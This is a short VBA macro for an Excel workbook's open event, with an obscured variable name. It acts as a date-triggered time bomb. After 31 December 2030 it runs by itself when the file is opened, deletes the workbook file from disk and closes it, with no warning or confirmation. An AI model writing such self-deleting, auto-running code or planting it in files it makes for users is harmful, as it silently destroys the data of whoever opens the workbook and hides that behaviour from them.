Private Sub Workbook_Open()

    Dim ѳ¥ As Date

    ѳ¥ = DateSerial(2030, 12, 31)

    If Date > ѳ¥ Then

        With ThisWorkbook
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close False
        End With
    
    End If
    
End Sub
